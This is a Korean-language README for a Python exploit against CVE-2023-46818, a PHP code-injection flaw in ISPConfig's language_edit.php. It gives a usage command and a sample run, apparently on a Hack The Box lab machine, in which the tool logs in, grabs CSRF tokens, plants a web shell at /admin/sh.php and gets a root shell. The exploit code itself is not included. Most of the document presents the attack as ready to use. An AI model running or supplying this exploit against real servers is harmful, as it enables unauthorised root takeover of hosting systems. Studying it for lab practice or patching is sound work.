CVE-2023-46818 Python 익스플로잇

🔥 설명

이 Python 익스플로잇 스크립트는 ISPConfig의 /admin/language_edit.php에 대한 records POST 파라미터에서 적절히 검증되지 않는 보안 취약점을 대상으로 합니다. 이를 통해 인증된 관리자가 임의의 PHP 코드를 주입하고 실행할 수 있습니다.

⚠️ 영향을 받는 버전

버전 3.2.11 및 이전 버전.

⚙️ 사용법

python3 CVE-2023-46818.py <URL> <Username> <Password>

💻 샘플 실행

┌──(motoh4ck3r㉿kali)-[~/HTB/Linux/nocturnal]
└─$ python3 CVE-2023-46818.py http://127.0.0.1:8081 motoh4ck3r broombroom
[+] Logging in with username 'motoh4ck3r' and password 'broombroom'
[+] Login successful!
[*] Fetching CSRF tokens...
[+] CSRF ID: language_edit_92017c65f0bcba0f230f5cc1
[+] CSRF Key: 7d06eed7d23c29e5c9633920a8122339d91373e8
[+] Injecting shell payload...
[+] Shell written to: http://127.0.0.1:8081/admin/sh.php
[+] Launching shell...

ispconfig-shell# hostname & whoami & id
nocturnal
root
uid=0(root) gid=0(root) groups=0(root)

ispconfig-shell#

ℹ️ 참조

https://seclists.org/fulldisclosure/2023/Dec/2

❤️ 크레딧

이 취약점을 발견한 Egidio Romano에게 감사를 표합니다.

CVE-2023-46818

인기